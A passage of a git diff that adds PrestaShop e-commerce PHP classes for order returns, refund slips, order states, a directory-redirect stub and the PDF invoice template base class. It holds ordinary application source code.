PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderReturnCore extends ObjectModel +{ + /** @var integer */ + public $id; + + /** @var integer */ + public $id_customer; + + /** @var integer */ + public $id_order; + + /** @var integer */ + public $state; + + /** @var string message content */ + public $question; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_return', + 'primary' => 'id_order_return', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'question' => array('type' => self::TYPE_HTML, 'validate' => 'isCleanHtml'), + 'state' => array('type' => self::TYPE_STRING), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public function addReturnDetail($orderDetailList, $productQtyList, $customizationIds, $customizationQtyInput) + { + /* Classic product return */ + if ($orderDetailList) + foreach ($orderDetailList as $key => $orderDetail) + if ($qty = (int)$productQtyList[$key]) + Db::getInstance()->insert('order_return_detail', array('id_order_return' => (int)$this->id, 'id_order_detail' => (int)$orderDetail, 'product_quantity' => $qty, 'id_customization' => 0)); + /* Customized product return */ + if ($customizationIds) + foreach ($customizationIds as $orderDetailId => $customizations) + foreach ($customizations as $customizationId) + if ($quantity = (int)$customizationQtyInput[(int)$customizationId]) + Db::getInstance()->insert('order_return_detail', array('id_order_return' => (int)$this->id, 'id_order_detail' => (int)$orderDetailId, 'product_quantity' => $quantity, 'id_customization' => (int)$customizationId)); + } + + public function checkEnoughProduct($orderDetailList, $productQtyList, $customizationIds, $customizationQtyInput) + { + $order = new Order((int)($this->id_order)); + if (!Validate::isLoadedObject($order)) + die(Tools::displayError()); + $products = $order->getProducts(); + /* Products already returned */ + $order_return = OrderReturn::getOrdersReturn($order->id_customer, $order->id, true); + foreach ($order_return as $or) + { + $order_return_products = OrderReturn::getOrdersReturnProducts($or['id_order_return'], $order); + foreach ($order_return_products AS $key => $orp) + $products[$key]['product_quantity'] -= (int)($orp['product_quantity']); + } + /* Quantity check */ + if ($orderDetailList) + foreach (array_keys($orderDetailList) as $key) + if ($qty = (int)($productQtyList[$key])) + if ($products[$key]['product_quantity'] - $qty < 0) + return false; + /* Customization quantity check */ + if ($customizationIds) + { + $orderedCustomizations = Customization::getOrderedCustomizations((int)($order->id_cart)); + foreach ($customizationIds as $customizations) + foreach ($customizations as $customizationId) + { + $customizationId = (int)$customizationId; + if (!isset($orderedCustomizations[$customizationId])) + return false; + $quantity = (isset($customizationQtyInput[$customizationId]) ? (int)($customizationQtyInput[$customizationId]) : 0); + if ((int)($orderedCustomizations[$customizationId]['quantity']) - $quantity < 0) + return false; + } + } + return true; + } + + public function countProduct() + { + if (!$data = Db::getInstance()->getRow(' + SELECT COUNT(`id_order_return`) AS total + FROM `'._DB_PREFIX_.'order_return_detail` + WHERE `id_order_return` = '.(int)($this->id))) + return false; + return (int)($data['total']); + } + + public static function getOrdersReturn($customer_id, $order_id = false, $no_denied = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $data = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_return` + WHERE `id_customer` = '.(int)($customer_id). + ($order_id ? ' AND `id_order` = '.(int)($order_id) : ''). + ($no_denied ? ' AND `state` != 4' : '').' + ORDER BY `date_add` DESC'); + foreach ($data as $k => $or) + { + $state = new OrderReturnState($or['state']); + $data[$k]['state_name'] = $state->name[$context->language->id]; + $data[$k]['type'] = 'Return'; + $data[$k]['tracking_number'] = $or['id_order_return']; + $data[$k]['can_edit'] = false; + } + return $data; + } + + public static function getOrdersReturnDetail($id_order_return) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_return_detail` + WHERE `id_order_return` = '.(int)($id_order_return)); + } + + public static function getOrdersReturnProducts($orderReturnId, $order) + { + $productsRet = OrderReturn::getOrdersReturnDetail($orderReturnId); + $products = $order->getProducts(); + $tmp = array(); + foreach ($productsRet as $return_detail) + { + $tmp[$return_detail['id_order_detail']]['quantity'] = isset($tmp[$return_detail['id_order_detail']]['quantity']) ? $tmp[$return_detail['id_order_detail']]['quantity'] + (int)($return_detail['product_quantity']) : (int)($return_detail['product_quantity']); + $tmp[$return_detail['id_order_detail']]['customizations'] = (int)($return_detail['id_customization']); + } + $resTab = array(); + foreach ($products as $key => $product) + if (isset($tmp[$product['id_order_detail']])) + { + $resTab[$key] = $product; + $resTab[$key]['product_quantity'] = $tmp[$product['id_order_detail']]['quantity']; + $resTab[$key]['customizations'] = $tmp[$product['id_order_detail']]['customizations']; + } + return $resTab; + } + + public static function getReturnedCustomizedProducts($id_order) + { + $returns = Customization::getReturnedCustomizations($id_order); + $order = new Order((int)($id_order)); + if (!Validate::isLoadedObject($order)) + die(Tools::displayError()); + $products = $order->getProducts(); + foreach ($returns as &$return) + { + $return['product_id'] = (int)($products[(int)($return['id_order_detail'])]['product_id']); + $return['product_attribute_id'] = (int)($products[(int)($return['id_order_detail'])]['product_attribute_id']); + $return['name'] = $products[(int)($return['id_order_detail'])]['product_name']; + $return['reference'] = $products[(int)($return['id_order_detail'])]['product_reference']; + } + return $returns; + } + + public static function deleteOrderReturnDetail($id_order_return, $id_order_detail, $id_customization = 0) + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'order_return_detail` WHERE `id_order_detail` = '.(int)($id_order_detail).' AND `id_order_return` = '.(int)($id_order_return).' AND `id_customization` = '.(int)($id_customization)); + } + + /** + * + * Get return details for one product line + * @param $id_order_detail + */ + public static function getProductReturnDetail($id_order_detail) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT product_quantity, date_add, orsl.name as state + FROM `'._DB_PREFIX_.'order_return_detail` ord + LEFT JOIN `'._DB_PREFIX_.'order_return` o + ON o.id_order_return = ord.id_order_return + LEFT JOIN `'._DB_PREFIX_.'order_return_state_lang` orsl + ON orsl.id_order_return_state = o.state AND orsl.id_lang = '.(int)Context::getContext()->language->id.' + WHERE ord.`id_order_detail` = '.(int)$id_order_detail); + } + + /** + * + * Add returned quantity to products list + * @param array $products + * @param int $id_order + */ + public static function addReturnedQuantity(&$products, $id_order) + { + $details = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT od.id_order_detail, GREATEST(od.product_quantity_return, IFNULL(SUM(ord.product_quantity),0)) as qty_returned + FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'order_return_detail ord + ON ord.id_order_detail = od.id_order_detail + WHERE od.id_order = '.(int)$id_order.' + GROUP BY od.id_order_detail' + ); + if (!$details) + return; + + $detail_list = array(); + foreach ($details as $detail) + $detail_list[$detail['id_order_detail']] = $detail; + + foreach ($products as &$product) + if (isset($detail_list[$product['id_order_detail']]['qty_returned'])) + $product['qty_returned'] = $detail_list[$product['id_order_detail']]['qty_returned']; + } +} + diff --git a/classes/order/OrderReturnState.php b/classes/order/OrderReturnState.php new file mode 100755 index 0000000..9d273a9 --- /dev/null +++ b/classes/order/OrderReturnState.php @@ -0,0 +1,65 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderReturnStateCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var string Display state in the specified color */ + public $color; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_return_state', + 'primary' => 'id_order_return_state', + 'multilang' => true, + 'fields' => array( + 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + ), + ); + + /** + * Get all available order states + * + * @param integer $id_lang Language id for state name + * @return array Order states + */ + public static function getOrderReturnStates($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_return_state` ors + LEFT JOIN `'._DB_PREFIX_.'order_return_state_lang` orsl ON (ors.`id_order_return_state` = orsl.`id_order_return_state` AND orsl.`id_lang` = '.(int)($id_lang).') + ORDER BY ors.`id_order_return_state` ASC'); + } +} + diff --git a/classes/order/OrderSlip.php b/classes/order/OrderSlip.php new file mode 100755 index 0000000..a9b3845 --- /dev/null +++ b/classes/order/OrderSlip.php @@ -0,0 +1,320 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderSlipCore extends ObjectModel +{ + /** @var integer */ + public $id; + + /** @var integer */ + public $id_customer; + + /** @var integer */ + public $id_order; + + /** @var float */ + public $conversion_rate; + + /** @var integer */ + public $amount; + + /** @var integer */ + public $shipping_cost; + + /** @var integer */ + public $shipping_cost_amount; + + /** @var integer */ + public $partial; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_slip', + 'primary' => 'id_order_slip', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'conversion_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'shipping_cost' => array('type' => self::TYPE_INT), + 'shipping_cost_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'partial' => array('type' => self::TYPE_INT), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public function addSlipDetail($orderDetailList, $productQtyList) + { + foreach ($orderDetailList as $key => $id_order_detail) + { + if ($qty = (int)($productQtyList[$key])) + { + $order_detail = new OrderDetail((int)$id_order_detail); + + if (Validate::isLoadedObject($order_detail)) + Db::getInstance()->insert('order_slip_detail', array( + 'id_order_slip' => (int)$this->id, + 'id_order_detail' => (int)$id_order_detail, + 'product_quantity' => $qty, + 'amount_tax_excl' => $order_detail->unit_price_tax_excl * $qty, + 'amount_tax_incl' => $order_detail->unit_price_tax_incl * $qty + )); + } + } + } + + public static function getOrdersSlip($customer_id, $order_id = false) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_slip` + WHERE `id_customer` = '.(int)($customer_id). + ($order_id ? ' AND `id_order` = '.(int)($order_id) : '').' + ORDER BY `date_add` DESC'); + } + + public static function getOrdersSlipDetail($id_order_slip = false, $id_order_detail = false) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + ($id_order_detail ? 'SELECT SUM(`product_quantity`) AS `total`' : 'SELECT *'). + 'FROM `'._DB_PREFIX_.'order_slip_detail`' + .($id_order_slip ? ' WHERE `id_order_slip` = '.(int)($id_order_slip) : '') + .($id_order_detail ? ' WHERE `id_order_detail` = '.(int)($id_order_detail) : '')); + } + + public static function getOrdersSlipProducts($orderSlipId, $order) + { + $cart_rules = $order->getCartRules(true); + $productsRet = OrderSlip::getOrdersSlipDetail($orderSlipId); + $order_details = $order->getProductsDetail(); + + $slip_quantity = array(); + foreach ($productsRet as $slip_detail) + $slip_quantity[$slip_detail['id_order_detail']] = $slip_detail['product_quantity']; + $products = array(); + foreach ($order_details as $key => $product) + if (isset($slip_quantity[$product['id_order_detail']])) + { + $products[$key] = $product; + $products[$key]['product_quantity'] = $slip_quantity[$product['id_order_detail']]; + if (count($cart_rules)) + { + $order->setProductPrices($product); + $realProductPrice = $products[$key]['product_price']; + // Todo : must be updated to use the cart rules + foreach ($cart_rules as $cart_rule) + { + if ($cart_rule['reduction_percent']) + $products[$key]['product_price'] -= $realProductPrice * ($cart_rule['reduction_percent'] / 100); + elseif ($cart_rule['reduction_amount']) + $products[$key]['product_price'] -= (($cart_rule['reduction_amount'] * ($product['product_price_wt'] / $order->total_products_wt)) / (1.00 + ($product['tax_rate'] / 100))); + } + } + } + return $order->getProducts($products); + } + + /** + * + * Get resume of all refund for one product line + * @param $id_order_detail + */ + public static function getProductSlipResume($id_order_detail) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT SUM(product_quantity) product_quantity, SUM(amount_tax_excl) amount_tax_excl, SUM(amount_tax_incl) amount_tax_incl + FROM `'._DB_PREFIX_.'order_slip_detail` + WHERE `id_order_detail` = '.(int)$id_order_detail); + } + + /** + * + * Get refund details for one product line + * @param $id_order_detail + */ + public static function getProductSlipDetail($id_order_detail) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT product_quantity, amount_tax_excl, amount_tax_incl, date_add + FROM `'._DB_PREFIX_.'order_slip_detail` osd + LEFT JOIN `'._DB_PREFIX_.'order_slip` os + ON os.id_order_slip = osd.id_order_slip + WHERE osd.`id_order_detail` = '.(int)$id_order_detail); + } + + public function getProducts() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT *, osd.product_quantity + FROM `'._DB_PREFIX_.'order_slip_detail` osd + INNER JOIN `'._DB_PREFIX_.'order_detail` od ON osd.id_order_detail = od.id_order_detail + WHERE osd.`id_order_slip` = '.(int)$this->id); + + $order = new Order($this->id_order); + $products = array(); + foreach ($result as $row) + { + $order->setProductPrices($row); + $products[] = $row; + } + return $products; + } + + public static function getSlipsIdByDate($dateFrom, $dateTo) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id_order_slip` + FROM `'._DB_PREFIX_.'order_slip` + WHERE `date_add` BETWEEN \''.pSQL($dateFrom).' 00:00:00\' AND \''.pSQL($dateTo).' 23:59:59\' + ORDER BY `date_add` ASC'); + + $slips = array(); + foreach ($result as $slip) + $slips[] = (int)$slip['id_order_slip']; + return $slips; + } + + public static function createOrderSlip($order, $productList, $qtyList, $shipping_cost = false) + { + $currency = new Currency($order->id_currency); + $orderSlip = new OrderSlip(); + $orderSlip->id_customer = (int)($order->id_customer); + $orderSlip->id_order = (int)($order->id); + $orderSlip->shipping_cost = (int)$shipping_cost; + if ($orderSlip->shipping_cost) + $orderSlip->shipping_cost_amount = $order->total_shipping_tax_incl; + $orderSlip->conversion_rate = $currency->conversion_rate; + $orderSlip->partial = 0; + + $orderSlip->amount = $orderSlip->shipping_cost_amount; + foreach ($productList as $id_order_detail) + { + $order_detail = new OrderDetail((int)$id_order_detail); + $orderSlip->amount += $order_detail->unit_price_tax_incl * $qtyList[(int)$id_order_detail]; + } + + if (!$orderSlip->add()) + return false; + + $orderSlip->addSlipDetail($productList, $qtyList); + return true; + } + + public static function createPartialOrderSlip($order, $amount, $shipping_cost_amount, $order_detail_list) + { + $currency = new Currency($order->id_currency); + $orderSlip = new OrderSlip(); + $orderSlip->id_customer = (int)($order->id_customer); + $orderSlip->id_order = (int)($order->id); + $orderSlip->amount = (float)($amount); + $orderSlip->shipping_cost = false; + $orderSlip->shipping_cost_amount = (float)($shipping_cost_amount); + $orderSlip->conversion_rate = $currency->conversion_rate; + $orderSlip->partial = 1; + if (!$orderSlip->add()) + return false; + + $orderSlip->addPartialSlipDetail($order_detail_list); + return true; + } + + public function addPartialSlipDetail($order_detail_list) + { + foreach ($order_detail_list as $id_order_detail => $tab) + { + $order_detail = new OrderDetail($id_order_detail); + $order_slip_resume = self::getProductSlipResume($id_order_detail); + + if ($tab['amount'] + $order_slip_resume['amount_tax_incl'] > $order_detail->total_price_tax_incl) + $tab['amount'] = $order_detail->total_price_tax_incl - $order_slip_resume['amount_tax_incl']; + + if ($tab['amount'] == 0) + continue; + + if ($tab['quantity'] + $order_slip_resume['product_quantity'] > $order_detail->product_quantity) + $tab['quantity'] = $order_detail->product_quantity - $order_slip_resume['product_quantity']; + + $tab['amount_tax_excl'] = $tab['amount_tax_incl'] = $tab['amount']; + $id_tax = (int)Db::getInstance()->getValue('SELECT `id_tax` FROM `'._DB_PREFIX_.'order_detail_tax` WHERE `id_order_detail` = '.(int)$id_order_detail); + if ($id_tax > 0) + { + $rate = (float)Db::getInstance()->getValue('SELECT `rate` FROM `'._DB_PREFIX_.'tax` WHERE `id_tax` = '.(int)$id_tax); + if ($rate > 0) + { + $rate = 1 + ($rate / 100); + $tab['amount_tax_excl'] = $tab['amount_tax_excl'] / $rate; + } + } + + if ($tab['quantity'] > 0 && $tab['quantity'] > $order_detail->product_quantity_refunded) + { + $order_detail->product_quantity_refunded = $tab['quantity']; + $order_detail->save(); + } + + $insertOrderSlip = array( + 'id_order_slip' => (int)($this->id), + 'id_order_detail' => (int)($id_order_detail), + 'product_quantity' => (int)($tab['quantity']), + 'amount_tax_excl' => (float)($tab['amount_tax_excl']), + 'amount_tax_incl' => (float)($tab['amount_tax_incl']), + ); + + Db::getInstance()->insert('order_slip_detail', $insertOrderSlip); + } + } + + public function getEcoTaxTaxesBreakdown() + { + $ecotax_detail = array(); + foreach ($this->getOrdersSlipDetail((int)$this->id) as $order_slip_details) + { + $row = Db::getInstance()->getRow(' + SELECT `ecotax_tax_rate` as `rate`, `ecotax` as `ecotax_tax_excl`, `ecotax` as `ecotax_tax_incl`, `product_quantity` + FROM `'._DB_PREFIX_.'order_detail` + WHERE `id_order_detail` = '.(int)$order_slip_details['id_order_detail'] + ); + + if (!isset($ecotax_detail[$row['rate']])) + $ecotax_detail[$row['rate']] = array('ecotax_tax_incl' => 0, 'ecotax_tax_excl' => 0, 'rate' => $row['rate']); + + $ecotax_detail[$row['rate']]['ecotax_tax_incl'] += Tools::ps_round(($row['ecotax_tax_excl'] * $order_slip_details['product_quantity']) + ($row['ecotax_tax_excl'] * $order_slip_details['product_quantity'] * $row['rate'] / 100), 2); + $ecotax_detail[$row['rate']]['ecotax_tax_excl'] += Tools::ps_round($row['ecotax_tax_excl'] * $order_slip_details['product_quantity'], 2); + } + + return $ecotax_detail; + } +} + diff --git a/classes/order/OrderState.php b/classes/order/OrderState.php new file mode 100755 index 0000000..7cc1d53 --- /dev/null +++ b/classes/order/OrderState.php @@ -0,0 +1,144 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderStateCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var string Template name if there is any e-mail to send */ + public $template; + + /** @var boolean Send an e-mail to customer ? */ + public $send_email; + + public $module_name; + + /** @var boolean Allow customer to view and download invoice when order is at this state */ + public $invoice; + + /** @var string Display state in the specified color */ + public $color; + + public $unremovable; + + /** @var boolean Log authorization */ + public $logable; + + /** @var boolean Delivery */ + public $delivery; + + /** @var boolean Hidden */ + public $hidden; + + /** @var boolean Shipped */ + public $shipped; + + /** @var boolean Paid */ + public $paid; + + /** @var boolean True if carrier has been deleted (staying in database as deleted) */ + public $deleted = 0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_state', + 'primary' => 'id_order_state', + 'multilang' => true, + 'fields' => array( + 'send_email' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'module_name' => array('type' => self::TYPE_STRING, 'validate' => 'isModuleName'), + 'invoice' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor'), + 'logable' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'shipped' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'unremovable' =>array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'delivery' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'hidden' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'paid' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'deleted' => array('type' => self::TYPE_BOOL, 'validade' => 'isBool'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'template' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isTplName', 'size' => 64), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'unremovable' => array(), + 'delivery' => array(), + 'hidden' => array(), + ), + ); + + const FLAG_NO_HIDDEN = 1; /* 00001 */ + const FLAG_LOGABLE = 2; /* 00010 */ + const FLAG_DELIVERY = 4; /* 00100 */ + const FLAG_SHIPPED = 8; /* 01000 */ + const FLAG_PAID = 16; /* 10000 */ + + + /** + * Get all available order states + * + * @param integer $id_lang Language id for state name + * @return array Order states + */ + public static function getOrderStates($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_state` os + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)$id_lang.') + WHERE deleted = 0 + ORDER BY `name` ASC'); + } + + /** + * Check if we can make a facture when order is in this state + * + * @param integer $id_order_state State ID + * @return boolean availability + */ + public static function invoiceAvailable($id_order_state) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `invoice` AS ok + FROM `'._DB_PREFIX_.'order_state` + WHERE `id_order_state` = '.(int)$id_order_state); + return $result['ok']; + } + + public function isRemovable() + { + return !($this->unremovable); + } +} + + diff --git a/classes/order/index.php b/classes/order/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/order/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/pdf/HTMLTemplate.php b/classes/pdf/HTMLTemplate.php new file mode 100755 index 0000000..954e8b2 --- /dev/null +++ b/classes/pdf/HTMLTemplate.php @@ -0,0 +1,185 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +abstract class HTMLTemplateCore +{ + public $title; + public $date; + public $available_in_your_account = true; + public $smarty; + public $shop; + + /** + * Returns the template's HTML header + * @return string HTML header + */ + public function getHeader() + { + $shop_name = Configuration::get('PS_SHOP_NAME', null, null, (int)$this->order->id_shop); + $path_logo = $this->getLogo(); + + $width = 0; + $height = 0; + if (!empty($path_logo)) + list($width, $height) = getimagesize($path_logo); + + $this->smarty->assign(array( + 'logo_path' => $path_logo, + 'img_ps_dir' => 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_, + 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'), + 'title' => $this->title, + 'date' => $this->date, + 'shop_name' => $shop_name, + 'width_logo' => $width, + 'height_logo' => $height + )); + + return $this->smarty->fetch($this->getTemplate('header')); + } + + /** + * Returns the template's HTML footer + * @return string HTML footer + */ + public function getFooter() + { + $shop_address = $this->getShopAddress(); + $this->smarty->assign(array( + 'available_in_your_account' => $this->available_in_your_account, + 'shop_address' => $shop_address, + 'shop_fax' => Configuration::get('PS_SHOP_FAX', null, null, (int)$this->order->id_shop), + 'shop_phone' => Configuration::get('PS_SHOP_PHONE', null, null, (int)$this->order->id_shop), + 'shop_details' => Configuration::get('PS_SHOP_DETAILS', null, null, (int)$this->order->id_shop), + 'free_text' => Configuration::get('PS_INVOICE_FREE_TEXT', (int)Context::getContext()->language->id, null, (int)$this->order->id_shop) + )); + + return $this->smarty->fetch($this->getTemplate('footer')); + } + + /** + * Returns the shop address + * @return string + */ + protected function getShopAddress() + { + $shop_address = ''; + if (Validate::isLoadedObject($this->shop)) + { + $shop_address_obj = $this->shop->getAddress(); + if (isset($shop_address_obj) && $shop_address_obj instanceof Address) + $shop_address = AddressFormat::generateAddress($shop_address_obj, array(), ' - ', ' '); + return $shop_address; + } + + return $shop_address; + } + + /** + * Returns the invoice logo + */ + protected function getLogo() + { + $logo = ''; + + $physical_uri = Context::getContext()->shop->physical_uri.'img/'; + + if (Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop) != false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE', null, null, (int)$this->order->id_shop); + elseif (Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop) != false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, (int)$this->order->id_shop); + return $logo; + } + + /** + * Assign hook data + * + * @param $object generally the object used in the constructor + */ + public function assignHookData($object) + { + $template = ucfirst(str_replace('HTMLTemplate', '', get_class($this))); + $hook_name = 'displayPDF'.$template; + + $this->smarty->assign(array( + 'HOOK_DISPLAY_PDF' => Hook::exec($hook_name, array('object' => $object)) + )); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + abstract public function getContent(); + + + /** + * Returns the template filename + * @return string filename + */ + abstract public function getFilename(); + + /** + * Returns the template filename when using bulk rendering + * @return string filename + */ + abstract public function getBulkFilename(); + + /** + * If the template is not present in the theme directory, it will return the default template + * in _PS_PDF_DIR_ directory + * + * @param $template_name + * @return string + */ + protected function getTemplate($template_name) + { + $template = false; + $default_template = _PS_PDF_DIR_.'/'.$template_name.'.tpl'; + $overriden_template = _PS_THEME_DIR_.'pdf/'.$template_name.'.tpl'; + + if (file_exists($overriden_template)) + $template = $overriden_template; + else if (file_exists($default_template)) + $template = $default_template; + + return $template; + } + + + /** + * Translatation method + * @param string $string + * @return string translated text + */ + protected static function l($string) + { + return Translate::getPdfTranslation($string); + } +} + diff --git a/classes/pdf/HTMLTemplateDeliverySlip.php b/classes/pdf/HTMLTemplateDeliverySlip.php new file mode 100755 index 0000000..a18a4e3 --- /dev/null +++ 